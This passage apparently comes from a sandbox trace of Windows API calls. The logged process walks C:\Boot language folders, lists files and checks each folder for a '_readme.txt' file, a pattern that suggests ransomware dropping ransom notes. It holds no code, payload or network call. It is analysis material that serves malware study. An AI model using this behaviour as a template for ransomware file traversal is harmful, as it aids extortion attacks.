ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13b8a0b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b8a0b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.332] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.332] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13b8a0b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b8a0b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.332] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0122.332] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13b8a0b0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13b8a0b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b8a0b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0122.332] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13b8a0b0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13b8a0b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b8a0b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0122.332] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.332] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.332] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018798 | out: hHeap=0x5b0000) returned 1 [0122.332] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018798 [0122.332] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.332] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.332] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.332] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.333] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.333] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.333] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.333] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.333] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.333] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.333] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.333] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.333] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.333] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.333] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.333] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.333] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.333] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.333] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.333] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.333] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.333] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.333] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.333] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.333] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.333] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.333] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.333] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc2e) returned 0x307ad38 [0122.333] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.333] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.333] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.333] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.333] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.333] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.333] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.333] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.333] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.334] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.334] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.334] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.334] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.334] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.334] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.334] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.334] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.334] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.334] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.334] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.334] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.334] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.334] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.334] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.334] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.334] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.334] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.334] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.334] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.334] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.334] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.334] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.334] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.334] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.334] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.334] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.334] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.334] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.334] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.334] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.334] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.334] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.334] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.335] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.335] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.335] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.335] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.335] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.335] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.335] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.335] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.335] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.335] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.335] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.335] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.335] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.335] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.335] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.335] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.335] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.335] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.335] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.335] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.335] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.335] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.335] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.335] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.335] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.335] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.335] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.335] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.335] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.335] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.335] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.335] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.335] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc2e) returned 0x307ad38 [0122.336] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.336] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.336] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.336] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.336] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.336] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.336] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.336] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.336] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.336] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.336] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.336] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.336] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.336] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.336] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.336] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.336] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.336] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.336] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.336] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.336] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.336] PathFindFileNameW (pszPath="C:\\Boot\\ko-KR\\") returned="ko-KR\\" [0122.336] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0122.336] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.336] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.336] PathFindFileNameW (pszPath="") returned="" [0122.336] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76d60000 [0122.337] GetProcAddress (hModule=0x76d60000, lpProcName="SHGetFolderPathW") returned 0x76de5708 [0122.337] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x307ad38 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0122.337] FreeLibrary (hLibModule=0x76d60000) returned 1 [0122.337] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.337] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.337] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018900 | out: hHeap=0x5b0000) returned 1 [0122.337] PathAppendW (in: pszPath="C:\\Boot\\ko-KR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\ko-KR\\_readme.txt") returned 1 [0122.337] PathFileExistsW (pszPath="C:\\Boot\\ko-KR\\_readme.txt") returned 1 [0122.338] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.338] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13bb0210, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bb0210, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.338] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018900 | out: hHeap=0x5b0000) returned 1 [0122.338] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13bb0210, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bb0210, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.338] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0122.338] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13bb0210, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13bb0210, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bb0210, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0122.338] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13bb0210, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13bb0210, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bb0210, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0122.338] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.338] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.338] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018798 | out: hHeap=0x5b0000) returned 1 [0122.339] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.339] PathFindFileNameW (pszPath="C:\\Boot\\nb-NO\\") returned="nb-NO\\" [0122.339] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0122.339] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.339] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.339] PathFindFileNameW (pszPath="") returned="" [0122.339] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76d60000 [0122.339] GetProcAddress (hModule=0x76d60000, lpProcName="SHGetFolderPathW") returned 0x76de5708 [0122.339] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x307ad38 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0122.339] FreeLibrary (hLibModule=0x76d60000) returned 1 [0122.339] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018900 | out: hHeap=0x5b0000) returned 1 [0122.339] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.339] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.339] PathAppendW (in: pszPath="C:\\Boot\\nb-NO\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\nb-NO\\_readme.txt") returned 1 [0122.339] PathFileExistsW (pszPath="C:\\Boot\\nb-NO\\_readme.txt") returned 1 [0122.340] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.340] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13bd6370, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bd6370, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.340] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.340] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13bd6370, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bd6370, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.340] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0122.340] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13bd6370, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13bd6370, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bd6370, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0122.340] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13bd6370, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13bd6370, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bd6370, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0122.340] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.340] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.340] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018798 | out: hHeap=0x5b0000) returned 1 [0122.340] 